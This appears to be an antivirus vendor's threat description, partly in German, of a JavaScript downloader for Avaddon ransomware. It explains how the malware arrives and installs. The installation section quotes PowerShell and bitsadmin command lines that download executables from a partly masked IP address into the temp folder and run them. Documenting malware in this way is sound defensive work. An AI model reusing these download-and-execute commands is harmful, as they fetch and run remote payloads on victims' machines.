Trojan.JS.AVADDON.YJAF-A

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Anschließend werden die heruntergeladenen Dateien ausgeführt. Dadurch können die bösartigen Routinen der heruntergeladenen Dateien auf dem betroffenen System aktiv werden.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

• %System%\cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}.{BLOCKED}.117.63/{jpr.exe or sava.exe}','%User Temp%\{random numbers}.exe');Start-Process '%User Temp%\{random numbers}.exe'
• %System%\cmd.exe /c bitsadmin /transfer getitman /download /priority high http:/{BLOCKED}.{BLOCKED}.117.63/{jpr.exe or sava.exe} %User Temp%\{random numbers}.exe&start %User Temp%\{random numbers}.exe

Download-Routine

Lädt die Datei von folgendem URL herunter und benennt sie um, wenn sie auf dem betroffenen System gespeichert wird:

• http://{BLOCKED}.{BLOCKED}.117.63/jpr.exe
• http://{BLOCKED}.{BLOCKED}.117.63/sava.exe

Speichert die heruntergeladenen Dateien unter den folgenden Namen:

• %User Temp%\{random numbers}.exe → Detected as Ransom.Win32.AVADDON.YJAF-A

Anschließend werden die heruntergeladenen Dateien ausgeführt. Dadurch können die bösartigen Routinen der heruntergeladenen Dateien auf dem betroffenen System aktiv werden.